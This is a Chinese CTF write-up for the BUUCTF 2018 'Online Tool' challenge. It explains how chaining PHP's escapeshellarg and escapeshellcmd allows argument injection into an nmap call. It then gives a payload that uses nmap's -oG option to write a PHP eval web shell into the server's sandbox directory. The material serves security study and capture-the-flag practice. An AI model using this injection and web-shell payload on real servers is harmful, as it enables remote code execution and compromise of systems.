Loading

BUUFTC-日刷-[[BUUCTF 2018]Online Tool-escapeshell arg/cmd

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

分析代码,发现应该是shell指令拼凑。但是有两个函数进行过滤我们简单分析一下:


escapeshellarg

这个函数确保你传入的是参数,比如

ls  $a   ;

我们想不仅输出根目录下文件,还将文件的权限、所有者、文件大小等信息详细列出来。这里我们可以用ls -l来实现

如果$a=/ -l, 那么就会执行 ls  -l /;   满足我们的要求

而escapeshellarg会把输入的内容加上单引号,如果本来有单引号就会转义

ls  escapeshellarg($a)   ;

那么用这个函数会变成:ls  '-l /' ,把输入的值始终当作一个参数处理。这样就不满足要求(实际上会直接报错)

注意它只是加上单引号,如果输入有单引号会转义(双引号不处理),处理单引号的时候也要注意一下,它会将两侧都加上单引号

例如 a=1’1, 处理后就是  ‘1’/''1' ,中间’变成\', 而两边的1各加上单引号包裹 ,最后组合在一起

(linux中cat flag  和  cat 'fl''ag' 效果一样 但要连续)

 

escapeshellcmd

这个函数就是简单的过滤敏感字符,类似&#;`|*?~<>^()[]{}$\之类,但是对于单双引号 仅在不配对的时候被转义

 

ok,了解后我们可以发现这两个函数在一起使用的情况下可能会出问题

对于上面例子

ls $a

我们让a=-l '  /

第一步处理会变成:ls  '-l '\''  /'   

第二步处理会变成:ls   '-l '\\''  /\' 

简化一下:ls  -l \  /'   (\后面要2个空格)

这样我们就成功给指令加上了新的参数类型

 

简化通解,对 ' TEST'进行分析

'TEST'
'' \' ' TEST' \' ''
'' \\ '' TEST '\\'''

 

\ TEST

 

但是这种方法缺陷就是只能加参数,因为只能绕过单引号,其他; | &啥的还是会被转义

回到这题

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

看看nmap有什么可利用的参数,找到-oG参数,可以将命令与结果写入到文件内

我们在命令里加入一句话木马即可,结果不重要,写入php即可(写入的木马不用担心转义问题,毕竟不用在shell直接执行,只要能写入即可)

payload=' <?php eval($_POST["cmd"]);?> -oG shell.php '

按照前面test分析 执行即为

nmap -T5 -sT -Pn --host-timeout 2 -F / <?php eval($_POST["cmd"]);?> -oG shell.php 

注意空格多加不会错,少加可能会导致参数和单引号连在一起,当作一个参数处理

 

最后访问沙盒地址里的shell.php即可

 

posted @ 2021-11-06 19:04  Aninock  阅读(60)  评论(0编辑  收藏  举报